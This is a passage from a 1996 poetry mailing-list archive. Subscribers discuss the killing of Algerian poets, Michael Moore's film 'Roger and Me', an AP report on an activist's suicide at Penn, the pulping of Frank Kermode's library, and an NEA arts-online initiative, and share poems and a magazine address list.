Henry G wrote:
>
> On Tue, 22 Oct 1996 09:16:02 -0400 Jordan Davis said:
> >The mayor of Algiers was shot to death in
> >the Algerian capital. Witnesses and French
> >media say the official died in an ambush of
> >his motorcade by Muslim fundamentalist
> >rebels, but the Algerian government said he
> >was struck by a stray bullet at his home.
>
> What else is new in Byzantium?
> This just in:
> Fr. Bookotopos lambasted the iconoclasts again without leaving
> his chair, denouncing their position that the image proceeds
> directly and a-politically from the logos by way of the ouzia
> through the sun via the Cross-Bronx E.
>
> Fr. Gouldoparrotalkis offered a triple analogy between language
> poetics & the sheepshank or bowline version of Joycotopolis's
> _Finneganousius' Testament to the Hippogriffians_.
> >
> Bread riots south of the statue of Emperor Theobillclintos.
> New troubles in Hypo-Serbia. Turkey simmering on the anvil
> of the Great Game. Noise in bars as usual.
>
> - HG

Henry -- don't know if you're response to the cited news of yet another killing in Algiers is not a bit off. Those killings are real -- a parade of real deaths, not a parade of theories -- even if the geography, the facts, &/or the reproting may seem byzantine. A year and a half ago -- & reported in the same manner -- a friend, an Algerian poet, was shot to death. Here is what I wrote then (& published in SULFUR 34) --

Pierre

Our eyes are fixed on the TV screen or the New York Times Op-Ed page, transfixed & horrified, emptied & blinded by what is happening in ex-

Yugoslavia, in the ex-Soviet Union & its ex-satellites, that is, as usual, in ex-Europe & its ex-tensions. Blinded thus, we know little, if anything, about what is happening — the horror, the horror, to use a famous fictional European's dying words — in other parts of the world, & the media is certainly not going to deal with it unless it has some kind of marketable Euro-American angle. The quasi-civil war in Algeria, for example, is going largely unreported, except when a few weeks ago when the ex-FIS (the outlawed fundamentalist Islamic party which, having more or less won the democratic elections a year ago, was sidelined by the FLN, the corrupt ex-revolutionary party that has been in power since independence in 1962, on which it has declared war) stated that to hasten its purification of the country it would kill all foreigners in Algeria (Twenty four were killed by the end of December.) Dozens of Algerians are being killed daily on both sides. The FIS's assassination strategy is simple: kill off the intelligentsia & anybody else able to voice any intelligent opposition — or at least enough of them as goryly as possible to make the rest shut up or leave the country for fear of dying. Among the many killed this past year were two poets: Tahar Djaout, who was shot May 26 and Youssef Sebti, who was knifed to death on December 28 as he was going to his job teaching sociology in a college of agronomy in the suburbs of Algiers. They were killed because they were, quietly and seriously, going about their business as writers & would not shut up, but kept writing & saying what needs to be said: that totalitarianism under any guise, religious or military, is the ultimate evil. In an eerie, prophetic mood, Tahar Djaout, more than twenty years ago, wrote a poem that celebrated the independence of his country, but that was simultaneously an elegy for the writer Mouloud Feraoun who had been assassinated towards the end of the war of independence in not dissimilar circumstances & for not dissimilar reasons:

MARCH 15, 1962

how to curb their rage to dissolve the stars
and to birth eternal night
I challenge their iron
and the enraged ire with which they multiply the chains

in the blue smile
of the Admiralty open on the promises
today in long swallows I gulp
— sun thundering over Algiers —
the joys of a feasting
where resurrected dawns gambol
and yet I think on the holocausts
unleashed to make dawn break
I think of Feraoun
— smile frozen in the sun's circumcision

they are afraid of the truth
they are afraid of the straight pen
they are afraid of truly human humans
and you, Mouloud, you insisted and spoke
about wheat fields for the sons of the poor
and spoke of pulverizing all the barbed wire
that lacerated our horizons

they speak of you and say that you were too good
that you felt revolted
hearing shells greet each dawn
that you believed human beings to be born so as to be brothers
and though challenging all the orgies of horror
you were incapable of hatred

one day, Mouloud, goodness finally triumphed
and we could wear the sun's trident
and we could honor the memory of the dead
because
with
your hands, those gleaners of dawn's mysteries,
and your dreamy inveterate poet's face,
you have known how to fulfill our truths
written in sun scraps
on the breasts of all those who revolt

--
==========
Pierre Joris
Dept. of English
SUNY Albany
Albany NY 12222
tel&fax:[redacted]
email:

| I still know little about poems, but I do know
| that suspicion is important. Be sufficiently
| suspicious, suspect the words, the language,
| I have often told myself, heighten this
| suspicion — so that someday, soemthing New
| can come into being... Ingeborg Bachmann
[redacted]|
==========

↑ Index

466. **Pritchett,Pat**
Re: michael moore
Wed 23 Oct 1996

This problem was noted in a very few reviews of the film at the time of its release, most notably by Pauline Kael in The New Yorker.

Patrick Pritchett

From: Jeffrey W. Timmons
To: Multiple recipients of list POETICS
Subject: Re: michael moore
Date: Tuesday, October 22, 1996 9:11PM

did anyone see the dc city paper on this local filmmaker--whose name i do not recall--who edited for m moore? apparently this guy agrees with some who suggest that the film roger and me was "manipulative"--in the sense that it deliberately altered chronology in the film to suit his political purpose. i share the films ethos but thought it was an interesting qualification; that and the fact that this filmmaker didnt get paid while moore had accepted some big-money gigs. i think we need more moores in the world but it sort of sounds like dole on campaign finance reform sometimes in this world of duplicitous complicity.

jeffrey timmons

↑ Index

467. **Henry**
Re: A Parade of Theories
Wed 23 Oct 1996

I agree with you, Pierre; I regretted sending one more silly post to the list, after the fact. I'm curious about how the contemporary situation in the west echoes ancient world politics going back, literally, to Byzantium. But by combining that with a take-off on some of the "byzantine" characteristics of the poetics list (a satire on myself, more than anybody else), the result was sadly more truly "byzantine" (in a negative sense - airy, abstract, divorced from real life) & cynical-sounding than I hope to be. I'm glad you called me on it. - Henry G.

↑ Index

468. **Joe Amato**
Re: michael moore
Wed 23 Oct 1996

---

well as to moore: i do have problems with his (at times) overwrought working class ethos, as maria suggests (the same problems i have with ben hamper's

ethos in _rivethead_, the book that inspired moore's flick _roger and me_)... and no way do i condone moore's not paying his collaborator for services rendered, if this is indeed the case...

but as to the film's manipulations: problem i'm having here is that it's so damned EASY to say this about that film... there are parts where i groan aloud at his stagings... but one might observe, quite justifiably, that moore is fighting fire with fire... and yes, one might likewise find this strategy regrettable...

but where's the public sentiment that acknowledges, at the same time, gm's manipulations---the sorts of shenanigans that gm has been up to for decades now?... along with the rest of the auto industry?...

i'm not defending moore, i'm just asking why we should bother dissecting his film WITHOUT a corresponding dissection of gm, and gm's shitty treatment of workers and unions?... or is moore's the last word on same? (in which event, his flick should be seen as even more valuable, no?)...

this is the same old same old of liberal discourse, isn't it?... we're real good at critiquing liberal motives (i.e., ourselves), but not so good at situating such motives over and against the real problem... and i guess i have to observe here, a bit cranky this morning, that the real problem is not moore---but gm, and what companies like gm do---to people like us...

to wit: if moore had met his obligations to his collaborator(s), if moore had not staged various scenes in his film, would the truth about gm be somehow less painful?... and if this isn't the point, then talking about moore, again, is at best talk about how the left shoots itself in the foot---which discussion, in the absence of informed discussion about gm's motives, might itself amount to shooting ourselves in the foot...

apologies to those on the right//

joe

↑ Index

469. **Herb Levy**

Re: defensiveness as prop?

Wed 23 Oct 1996

Tosh Berman sort of asks:

> *At one point he*
> *was working with Eno and Daniel L... I forgot his last name, but he is the*
> *guitar player that played with Eno and produced U2, ETC. Well, anyway*
> *Daniel's habit of wearing a scarf around his head really bugged Scott.*
> *Scott ended the sessions. Now that's what I call artistic temperment!*

Daniel Lanois

Herb Levy
[redacted]

↑ Index

470. Herb Levy
Re: mountain goats et albini
Wed 23 Oct 1996

Rob Hardin proposes

> *PS: I've been asked to submit ideas for interviews with musicians to _Bomb_ and have been thinking about George Perle, Helios Creed, Six-Finger Satellite and Bloody Valentine (because of the textures). But the Mountain Goats are just about perfect because they haven't really broken and are unashamedly literary. (Apparently, Bloody Val is "too new to be a classic but too old to be current." Which doesn't matter to me, but it definitely seems to matter to _Bomb_.)*

Suggested title for George Perle interview:

Pitch Class Set _Rocks_ My World!

Herb Levy
[redacted]

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471. Thomas Lecky
Qwerty Arts
Wed 23 Oct 1996

There is a great deal of new matrial on Qwerty Arts, an on-line journal of poetry, fiction, reviews, essays, art and book-arts related subjects. Also included are interviews with Gilbert Sorrentino, Harry Mathews and Alexander Theroux.

Please stop by at:
http://www.qwertyarts.com

Thomas Lecky
[redacted]
Qwerty Arts: http://www.qwertyarts.com

↑ Index

472. **Jordan Davis**
british book disaster
Wed 23 Oct 1996

"The personal library of Professor Frank Kermode has suffered an extraordinary disaster, the _Guardian_ reports (September 19). 'Sir Frank had carefully packed all his books in boxes in preparation for a house move. Unfortunately council refuse-collectors arrived at the hour appointed for the removal men, and began to carry out the boxes. By the time the misunderstanding came to light, some fifty boxes of Sir Frank's collection -- including numerous irreplaceable manuscripts, first editions and personal dedications -- had been pulped by a mechanical crusher. Much of the fiction has gone, as well as his superb library of contemporary poetry . . . . only the literary theory has remained unscathed.'"

From NB by D.S., TLS October 4, 1996

↑ Index

473. **Thomas Bell**
Re: A Parade of Theories
Wed 23 Oct 1996

At 09:13 AM 10/23/96 -0500, Pierre Joris wrote:
>Henry G wrote:

/snip/

> *Henry -- don't know if you're response to the cited news of yet another killing in Algiers is not a bit off. Those killings are real -- a parade of real deaths, not a parade of theories -- even if the geography, the*

Thank you for the post, Pierre. This particular issue and cultural trend - distancing, the media, etc. was one of the things that brought me back to reading and writing poetry after a long hiatus. tom beel

↑ Index

474. **henry g**
Re: A Parade of Theories
Wed 23 Oct 1996

On Wed, 23 Oct 1996 13:50:27 -0400 Thomas Bell said:
>
>Thank you for the post, Pierre. This particular issue and cultural trend -
>distancing, the media, etc. was one of the things that brought me back to
>reading and writing poetry after a long hiatus.

But don't quit clipping those newspaper articles, Tom. They sometimes lead to poems - besides being useful for insulation (daily moral temperature- control). - Henry /snip/ Gould

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475. Sherry Brennan
Re: Michael Moore
Wed 23 Oct 1996

Speaking of pop culture -- Michael Moore's TV Nation is the only instance I can think of of someone turning the entertainment value of TV to some sort of political use value (apologies if I'm using this phrase incorrectly) for the left. interesting. disruptive. uses the medium against itself. Besides it's roaringly funny (perhaps moreso if you grew up in the rustbelt in the 70s). xs

Sherry Brennan
Development Research
The Pennsylvania State University
[redacted]

↑ Index

476. Louis Cabri
Kathy Change
Wed 23 Oct 1996

According to Hayley Thomas:
From root Wed Oct 23 18:38:25 1996
From: [redacted] (Hayley Thomas)
Posted-Date: Wed, 23 Oct 1996 14:38:17 -0400 (EDT)
Subject: Kathy Change
To: [redacted]
Date: Wed, 23 Oct 1996 14:38:16 -0400 (EDT)

> *Dear Folks,*

Here's the Associated Press's take on Kathy Change's life and death, as fowarded from the folklore listserv.

Hayley Thomas

> *PM-Penn Suicide,0315*
> *Activist at Penn Campus Sets Self On Fire, Dies*
> *PHILADELPHIA (AP) - An activist whose protests for world peace were a fixture at the University of Pennsylvania committed suicide on campus by setting herself on fire in a final attempt to draw*

supporters to her cause.

Kathy Change, 46, doused herself with gasoline Tuesday morning and ignited it, sending flames 10 feet high as about 50 people watched at the Ivy League school, authorities said.

A university police officer, rushing to check out the fire, threw his jacket over Change and rolled her on the ground to smother the flames. She was pronounced dead at a hospital 25 minutes later.

Police said they found suicide notes in a push cart about 15 feet from where Change killed herself.

Change had delivered packages of her writings to six students and two local residents about 2+ hours before killing herself, the campus newspaper, The Daily Pennsylvanian, reported.

"My real intention is to spark a discussion of how we can peacefully transform our world," Change wrote in a three-page statement dated Oct. 7 that was included in the package, the newspaper reported. "I offer myself as an alarm against Armageddon and a torch for liberty."

Change, who changed her name from Chang to reflect her commitment to political reform, had frequently danced and displayed flags on the Penn campus over the past 15 years to promote her belief that America and the world must be transformed into truly democratic societies.

In one of her writings, Change wrote that she hoped her suicide would help to promote her ideas on government, the economy, law and morality.

"I want to give my message as much impact as possible," she wrote. "I truly believe that my death will make people more sympathetic towards me and interested in my work and ideas."

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AP-NY-10-23-96 0542EDT

==========
Steve Winick
Folklorist/Journalist/Educator

400 s. 45th st. #A3
Philadelphia, PA 19104
[redacted]
http://www.sas.upenn.edu/~swinick

"The rank is but the Guinea stamp

> *The man's the gowd for a' that."*
> *==========*

↑ Index

477. Alan Honey Sondheim
Re: Michael Moore
Wed 23 Oct 1996

In another way and another era, Andy Kaufman of course. And Edward R. Murrow before him, again in another way.

Alan

On Wed, 23 Oct 1996, Sherry Brennan wrote:

> *Speaking of pop culture -- Michael Moore's TV Nation is the only instance I can think of of someone turning the entertainment value of TV to some sort of political use value (apologies if I'm using this phrase incorrectly) for the left. interesting. disruptive. uses the medium against itself. Besides it's roaringly funny (perhaps moreso if you grew up in the rustbelt in the 70s). xs*
>
> *Sherry Brennan*
> *Development Research*
> *The Pennsylvania State University*
> [redacted]

_____
http://jefferson.village.virginia.edu/~spoons/internet_txt.html images: http://www.cs.unca.edu/~davidson/pix/ [redacted] CuSeeMe 166.84.250.149

↑ Index

478. Alan Honey Sondheim
last of 2
Wed 23 Oct 1996

poem of bad language or poem of dead language

into the sward the knight rode the prove his point xxxxxxxxx the night rode in on a mare xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx the seas of the moon poured tears of violation fabric xxxxxx that remembered the joust that remembered the

lance xxxxxxxx island said, how do you do write suicide in avant-garde xxxx the stallion gripped her sides called flanks xxxxxxxxxxxxxxx outing them in the avant-garde; in this world xxxxxxxxxxxxxx everything talked, the sward said, the point said, xxxxxxxxx the night cried, mare nayed, ululation seas, xxxxxxxxxxxxxxx like a rock, in the new moon's arms, like an island xxxxxxxx in the joust's-last-word's song so very long xxxxxxxxxxxxxxx so long xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

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↑ Index

479. **eric pape**
Re: michael moore
Wed 23 Oct 1996

Good job, Joe. Further consideration of GM's tactics of manipulation and Moore's acknowledgement of his own corporate complicity can be read in his recent Nation editorial. Thanks, Eric.

↑ Index

480. **DS**
Re: michael moore
Wed 23 Oct 1996

At 10:11 AM 10/23/96 -0500, you wrote:
>apologies to those on the right//
>
>joe
>

WHY?

↑ Index

481. **VPI R TremblayMcGaw**
Open Studio: The Arts Online
Wed 23 Oct 1996

Thought there might be some of you on this list who'd be interested in this.

Robin Tremblay-McGaw

TO: Benton Colleagues FR: Anne Green, Open Studio Project Co-ordinator DA: October 23, 1996 RE: Recently Announced Benton Initiative
********** The

following is a recent press release announcing Open Studio: The Arts Online, a joint initiative between the Benton Foundation and the National Endowment for the Arts to help nonprofit arts organizations and artists go online, increase the arts and cultural presence online and provide public Internet access at arts and community institutions.

If you have any questions regarding the project or have any suggestions regarding organizations you believe should receive a request for proposal please feel free to give me a call at [redacted] or email me at [redacted].

Thanks!

****

Embargoed for Release October 22, 1996 [redacted] Contact: Anne Green, Open Studio until [redacted] Cherie Simon, NEA [redacted]

National Endowment for the Arts and the Benton Foundation Launch "Open Studio: The Arts Online"

Unprecedented Collaboration Creates Community Access Sites at Arts and Cultural Institutions in All 50 States

(Washington, DC) -- The National Endowment for the Arts (NEA) and the Benton Foundation today announced the nation's first initiative to provide community access to the arts on the Internet at sites in all 50 states as well as propel the nonprofit arts online by helping them to become effective information providers on the World Wide Web.

This new $1 million initiative, called Open Studio: The Arts Online, is an unprecedented collaboration between the NEA and the Benton Foundation to help nonprofit arts organizations and artists go online, increase the arts and cultural presence on the Internet, expand the online arts audience, and provide public Internet access at arts and community institutions. Open Studio is funded through an NEA Leadership Initiative award of $500,000, which the Benton Foundation is committed to matching as part of a cooperative agreement.

"The National Endowment for the Arts was created to make the arts accessible to all people of all backgrounds in every district of the nation," NEA Chairman Jane Alexander said. "Open Studio is a groundbreaking project that will increase cultural and arts resources on the information superhighway and make the Internet a reality for people everywhere."

"This project is about ensuring a public culture," said Larry Kirkman, executive director of the Benton Foundation. "We must work to protect noncommercial public space in the digital age. Artists and arts institutions, schools, libraries, as

well as other independent voices must be able to make their noncommercial imprint on American cultural life and values."

The two components of Open Studio include:

1) Free Community Access to the Internet More than 100 public access points to the Internet will be set up in arts organizations and culturally-oriented community centers in every state. Through this initiative, members of the public who are interested in accessing the Internet can receive personal assistance helping them learn how to browse the Web and access its cultural resources. Access sites will receive a matching award of $2,000 to $4,000.

2) Helping Artists & Arts Organizations Become Effective Information Providers on the Web Ten institutions with existing telecommunications resources, such as libraries, universities, and community telecommunications centers, will each receive up to $35,000 to serve as mentors to 10 local cultural organizations and 10 local artists, teaching them how to become effective information providers on the World Wide Web.

The trainees will then mentor another organization or artist within a year of completing their own training. By the autumn of 1997, this program will generate an Internet presence for 200 arts organizations and artists with 200 more in training.

Fourteen pilot sites (see attached list) are being launched on October 22, 1996. Remaining sites will be selected through a competitive process, with awards announced in February 1997. Information about applying for site awards may be obtained by sending email to [redacted] (for mentor awards) or [redacted] (for access awards) or by visiting the Open Studio Web site at www.openstudio.org. The Open Studio Web site also serves as a public clearinghouse for project information, including a project description and status reports.

A national advisory group will guide Open Studio. A list of committee members is attached. The Benton Foundation has recently hired Anne Green as the project coordinator for Open Studio. Ms. Green, who has a law degree from the University of North Carolina-Chapel Hill, was most recently the coordinator of People For the American Way's artsave Project, a nationwide research and public education project in the visual and performing arts.

Open Studio is an integral part of an overall effort by the NEA to extend its public outreach and serve the arts and the public more effectively through the Internet. In April, the Arts Endowment launched its own Web site at arts.endow.-gov. The site includes a monthly magazine, a guide to the Arts Endowment, and an art resource center.

The NEA, which has a $99.5 million budget this year, is the federal grantmaking agency created by Congress in 1965 to foster the excellence, diversity, and

vitality of the arts in the United States and to broaden public access to the arts. NEA Leadership Initiatives were created in fiscal year 1996 to sponsor specific initiatives for projects of national significance and impact, or those that serve as models in one field or discipline.

The Benton Foundation, dedicated to protecting the public interest in the digital age, has long been a proponent for providing noncommercial public space in the new communications environment. The foundation's work ranges from published work on connecting schools and public opinion research on libraries to national policy summits on communications policy and practices in the public interest and the creation of a communications hub to link children's advocates. More information about Benton, including publications and cyber resource pages can be found at www.benton.org.

###

****

Benton Foundation
1634 Eye Street NW, 12th Floor
Washington, DC 20006-4006
phone: [redacted]
fax: [redacted]
[redacted]
http://www.benton.org

Robin Tremblay-McGaw
Information Services Director
Pacific Center for Violence Prevention
http://www.pcvp.org
[redacted]

Connect Mail Sent: October 23, 1996 12:45 pm PDT Item: R00aRlt

↑ Index

482. **Michael Coffey**
Re: michael moore -Reply
Wed 23 Oct 1996

---

what i remember of seeing moore's roger and me was that the audience was in stitches, as they say; they thought the thing was so damn funny; now i knew it was being promoted as this wacky look at the depradations of big bad businessman through they eyes of a mischievous, famously defrocked magazine editor (remember mother jones/paul berman snafu?), but i was sure the picture was hard-hitting and unsettling.... which it was, I thought. and it seems to me that much of the drama and pathos that moore wrung from the story had to do with

the way he told it, edited it, the disregard for chronology notwithstanding (who cares!); and yet his unflinching look at a woman who butchered chickens or the poor dude who evicted tenants was snickered at by my audience, as if these people were not poor and down-trodden and victims of gm, but somehow laughably hapless and stupid.

in some ways, or somehow, moore's film, in certain respects (jeez, what qualifiers!) the film was co-opted by a nervous establishment and made into an acceptable comedy.

did anyone out there have a simliar experience watching that film, i wonder...

↑ Index

483. **Jeffrey W. Timmons**
Re: michael moore
Wed 23 Oct 1996

---

joe i hear you. and i agree. moore is very effective at what he does. the dc city paper likened it to inducing catholic guilt. i dont quite know how to respond to you though. im wondering if . . . turning our critical skills on ourselves is a good thing. certainly organizations need as much critique as anything but if we ourselves are above reproach doesnt that assume a purity of the critique that does not exist?

jeffrey timmons

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484. **jfelix**
Re: michael moore -Reply
Wed 23 Oct 1996

---

michael coffey typed:
>for chronology notwithstanding (who cares!); and yet his unflinching look
>at a woman who butchered chickens or the poor dude who evicted
>tenants was snickered at by my audience, as if these people were not
>poor and down-trodden and victims of gm, but somehow laughably
>hapless and stupid.
>
>in some ways, or somehow, moore's film, in certain respects (jeez, what
> qualifiers!) the film was co-opted by a nervous establishment and made
>into an acceptable comedy.

Yes, michael coffey, it was marketed as a comedy, and the audience that I saw it with in Detroit *did* snicker but I took it as a nervous snicker in the face of blashpemy--I am from and saw the film in an area of Detroit called Downriver

where many of the big three's line employees lived and attacking roger smith was fun but abt as fun as cursing in church. The Pets or Meat lady as she became know was laughed at much as anyone considered retarded in grade school and it rankled me that michael moore *encouraged* her to reveal her oddities-- it was hard to feel that the film wasn't mocking her, a serious problem. But no one laughed at the evictor, and the most effecting moment of the film was when it turns out the evictor was evicting a guy mmoore had knew in high school--the scene on the porch in grey winter day when that high school friend was turning his hostility towards the evictor until moore prodded him to turn it outward to gm. That moment defined the ethics of moore's film for me, which I considered acceptable tho his method as many point out was manipulative at the least. (sidebar: yes maria damon it was a cheap shot at coffee house professionals as well--another failure of mmoore's art, but it seems to me *that* cheap shot was to appeal to the lowest common denominator in order to galvinize the lowest commno denominator. Moore's film wouldn't have played well to his subject audience if he hadn't worn baseball hats and made fun of a percieved elite.) to return to the other problem the film is shown mostly in art houses such as the Detroit Institute of Arts whose patrons are mostly execs in the auto industry and you can bet they laugh up a storm at those left behind in the leaner meaner capital developing at the time. I live in Chicago now and the five years I've been here PBS has played Roger and Me three times. My question is why can a political work only be granted an audience in such venues which may not be high art to artists but to the culture as a whole...There are union people who may watch pbs and go to art houses i'm sure but the key to galvinizing the disenfranchised would not seem to be pbs. In my view this is just another way the whole system works against opposition. Sorry this post has rambled--and sorry it's not abt poetix (blush) but one more thing--the reason Roger and Me was blasphemy is another victory for corporate ideology--which I was told goes like this: (the worker, with an exec sitting on his left shoulder) yes labor will suffer but if we don't run the whole operation more cheaply in the face of global competition the whole corporation will fail." No wonder I care so much abt the detroit tigers--that's the only place for hope.

joel felix

↑ Index

485. **Pritchett,Pat**

Re: Kathy Change

Wed 23 Oct 1996

I'm sorry, but I don't see the point of Ms. Change's actions, whom I've never heard of before. The implosive act of suicide has always struck me as the

ultimate form of narcissism. Thank god, Gandhi, MLK, et al. never took such an attitude. An "alarm against Armageddon?" More like another advertisement.

Patrick Pritchett

From: Louis Cabri
To: Multiple recipients of list POETICS
Subject: Kathy Change
Date: Wednesday, October 23, 1996 2:04PM

According to Hayley Thomas:
From root Wed Oct 23 18:38:25 1996
From: [redacted] (Hayley Thomas)
Posted-Date: Wed, 23 Oct 1996 14:38:17 -0400 (EDT)
Subject: Kathy Change
To: [redacted]
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> *Dear Folks,*

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Hayley Thomas

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> *A university police officer, rushing to check out the fire, threw his jacket over Change and rolled her on the ground to smother the flames. She was pronounced dead at a hospital 25 minutes later.*
> *Police said they found suicide notes in a push cart about 15 feet from where Change killed herself.*
> *Change had delivered packages of her writings to six students and two local residents about 2+ hours before killing herself, the campus newspaper, The Daily Pennsylvanian, reported.*
> *"My real intention is to spark a discussion of how we can peacefully transform our world," Change wrote in a three-page statement dated Oct. 7 that was included in the package, the newspaper reported. "I offer myself as an alarm against Armageddon and a torch for liberty."*
> *Change, who changed her name from Chang to reflect her*

> *commitment to political reform, had frequently danced and displayed flags on the Penn campus over the past 15 years to promote her belief that America and the world must be transformed into truly democratic societies.*
>
> *In one of her writings, Change wrote that she hoped her suicide would help to promote her ideas on government, the economy, law and morality.*
>
> *"I want to give my message as much impact as possible," she wrote. "I truly believe that my death will make people more sympathetic towards me and interested in my work and ideas."*
>
> *(Copyright 1996 by The Associated Press. All Rights Reserved.)*
>
> *AP-NY-10-23-96 0542EDT*
>
> *==========*
> *Steve Winick*
> *Folklorist/Journalist/Educator*
>
> *400 s. 45th st. #A3*
> *Philadelphia, PA 19104*
> *[redacted]*
> *http://www.sas.upenn.edu/~swinick*
>
> *"The rank is but the Guinea stamp*
> *The man's the gowd for a' that."*
> *==========*

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486. **Jeffrey W. Timmons**

Re: michael moore -Reply

Wed 23 Oct 1996

michael i have to disagree with you. it is worth caring about if a writer/film-maker/what have you "manipulates" the events to construct a version of the "real" to suit political ends. just because ones sympathies are with the artist does justify not observing the way in which s/he uses the medium. nixon after-all was a master craftsman. and need we discuss REAGAN? like i said: i liked the movie and i like moore. but that doesnt mean i dont care about how

meanings are arrived at. and as far as coopting the movie . . . well i think it would be difficult to construe it as any sort of comedy--other than a darkly cynical one. though of course it may have been marketed as such. your audience and personal experience may have been different but though woman (who butchered rabbits by the way not chickens) and the sheriff certainly elicted something more than simply derision by its viewers?

jeffrey timmons

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487. **Joe Amato**
michael moore...
Wed 23 Oct 1996

---

oh, mebbe i shouldn't apologize to the right...

that *was* an extremely grumpy post i posted this morning, and my day today has paved the way for nothing but more grumpiness on my part (not to worry---i won't indulge!)...

happy to hear moore is in _the nation_ (thanx eric), i'll check that out... and no, jeffrey, you're quite right i think---we should be willing to critique ourselves, certainly... i just don't hear this sentiment regularly being expressed, say, by authority figures...

i think we oughtta be sure to specify the power relations as such... i think moore's flick took it to the man, and yeah, michael---i think you may be right, that _roger and me_ *was* in some respects taken as an excuse to laugh it off, "it" here being our (u.s. i mean) nervous anxieties, aka our economic insecurities... i mean, there's a certain degree of truthful emotion that comes seeping out of that flick, esp. if you're the daughter or son of a working-class family, or have had the shop-experience first-hand... and laughter is one way to deal with despair...

joe

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488. **Laura Moriarty**
report on Whalen/McClure birthday event
Wed 23 Oct 1996

Wonderful event organized by Bill Berkson at the Art Institute and including many friends of the poets. McClure did a great reading and then many others, including some mentioned below in a piece by me, read from Whalen's

work.The first quote is from the movie 12 Monkeys, the second from Whalen's "Further Notice" in On Bear's Head.

from Ghost Atlas

5.

Home because migraine
Brain too cold or too large for head
Generations of poets marching through
Whalen/McClure birthday event
Keith Abbott saying Et en Arcadia etc.
And David Meltzer that time marches
All over one and looking somewhat trampled
Another widow among the readers
Himself but reads most
Musically of anyone
Ghosts off the scale that day
Disembodied voices facing
The wrong way into time

"It won't help you. It won't help others.
It won't change anything."

Leslie's frog erotics
Ditto Bob's sacramental distribution of the cake
A thousand years of catering in each gesture
Alice Notley predicts her own silence
Kit gets the laughs
"People see me; they like that . . .
I try to warn them it's really me."
Kevin Killian brings Eddie Berrigan like a child bride
Norman reads a Diamond Noodle counting poem
Is stunned to know you

Whalen unwilling love god
Sits like a scepter
Stands in slow motion
Blowing out candles which don't
Stay blown
No one objects to his perfection

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489. **Pam Brown**
Re: british book disaster
Wed 23 Oct 1996

There are some in the colonies who are sceptical enough to question the nature of the contents of the fifty boxes....isn't Frank Kermode suing the council for compensation ??

Pam Brown,
Sydney Poet

At 12:14 PM 23/10/96 -0400, you wrote:
>"The personal library of Professor Frank Kermode has suffered an
>extraordinary disaster, the _Guardian_ reports (September 19). 'Sir Frank
>had carefully packed all his books in boxes in preparation for a house
>move. Unfortunately council refuse-collectors arrived at the hour appointed
>for the removal men, and began to carry out the boxes. By the time the
>misunderstanding came to light, some fifty boxes of Sir Frank's collection
>-- including numerous irreplaceable manuscripts, first editions and
>personal dedications -- had been pulped by a mechanical crusher. Much of
>the fiction has gone, as well as his superb library of contemporary poetry
>. . . . only the literary theory has remained unscathed.'"
>
>>From NB by D.S., TLS October 4, 1996
>
>

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490. **Louis Cabri**
olson & oratory
Wed 23 Oct 1996

"[I]n all parts of language...a certain agreeableness and grace are attendant on utility...for the stoppage of the breath, and the confined play of the lungs, introduced periods and the pointing of words...The largest compass of a period...is that which can be rounded forth in one breath."

Cicero, "On the Character of the Orator."

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491. **Spencer Selby**
mag list
Thu 24 Oct 1996

List of Experimental Poetry/Art Magazines

P.O. Box 590095 San Francisco CA 94159

U.S. MAGAZINES ### ABACUS, Peter Ganick, 181 Edgemont Ave, Elmwood CT 06110 ### AERIAL, Rod Smith, Box 25642, Wash D.C. 20007 ### ALEA, Tom Epstein, 296 Cole Ave, Providence RI 02906 ### AMERICAN BOOK REVIEW, Illinois St Univ. Campus Box 4241, Normal IL 61790 ### AMERICAN LETTERS AND COMMENTARY, 850 Park Ave Suite 5B, NY NY 10021 ### ANT,ANT,ANT,ANT,ANT, Box 16177, Oakland CA 94610 ### ANTENYM, Steve Carll, 106 Fair Oaks #3, San Francisco CA 94110 ### APEX OF THE M, Box 247, Buffalo NY 14213 ### ARRAS, 141 West Newell Ave, Rutherford NJ 07070 ### ARSHILE, Mark Salerno, Box 3749, L.A. CA 90078 ### ATELIER, Sarah Jensen, Box 580, Boston MA 02117 ### B CITY, Connie Deanovich, 517 North Fourth St, Dekalb IL 60115 ### BALLPEEN, SEMIQUASI REVIEWS, Box 55892, Fondren Station, Jackson MS 39296 ### BIG ALLIS, Melanie Neilson, 11 Scholes St, Brooklyn NY 11206 ### THE BOMB, Ben Baxter, 1671 Cowlitz Ave, St Helens OR 97051 ### BOMBAY GIN, Naropa Institute, 2130 Arapahoe Ave, Boulder CO 80302 ### BOOGLIT, David Kirschenbaum, Box 221 Oceanside NY 11572 ### BRASS CITY, 77 Williamson Drive, Waterbury CT 06710 ### BULLHEAD, Joe Napora, 2205 Moore St, Ashland KY 41101 ### CENTRAL PARK, Stacey Schrader, Box 1446 NY NY 10023 ### CHAIN, Juliana Spahr, Jena Osman, 215 Ashland Ave, Buffalo NY 14222 ### CLWN WR, Box 2165, Church St Station, NY NY 10008 ### COLUMBIA POETRY REVIEW, English Dept of Columbia College, 600 South Michigan Ave, Chicago IL 60605 ### COMPOUND EYE, Ange Mlinko, 52 Park St #3, Somerville MA 02143 ### CONJUNCTIONS, Bradford Morrow, 33 W. 9th St., NY NY 10011 ### CROSS-CULTURAL POETICS, Mark Nowak, College of St Catherine, 601 25 Ave S., Minneapolis MN 55454 ### DENVER QUARTERLY, Bin Ramke, Dept of English, U. of Denver, Denver CO 80208 ### DIE YOUNG, Skip Fox, English Dept, Univ. of Southwestern Louisiana, Lafayette LA 70504 ### DIRIGIBLE, David Todd, 216 Willow St, New Haven CT 06511 ### DISTURBED GUILLOTINE, Fredrik Hausmann, Box 14871, University Station, Minneapolis MN 55414 ### DROP FORGE, Box 7237, Reno NV 98510 ### ELECTRONIC POETRY REVIEW, http://www.poetry.org ### EXPERIODICIST, Jake Berry, Box 3112, Florence AL 35630, [redacted] ### FIRST INTENSITY, Lee Chapman, Box 665, Lawrence KS 66044 ### FIVE FINGERS REVIEW, Box 15426, San Francisco CA 94115 ### FLASHPOINT, Box 6243, Washington D.C. 20015 ### FOUND STREET, Larry Tomoyasu, 2260 S. Ferdinand Ave., Monterey Park CA 91754 ### GENERATOR, John Byrum, 3203 W. 14th St, Apt 13, Cleveland OH 44109 ### GLOBAL MAIL, Ashley Parker Owens, Box 410837, San Francisco CA 94141 ### GRIST-ON-LINE, http://www.thing.net?/~grist ### HAMBONE, Nathaniel Mackey, 134 Hunolt St. Santa Cruz CA 95060 ### HAPPY GENIUS, Peter Landers, 103 Cedar

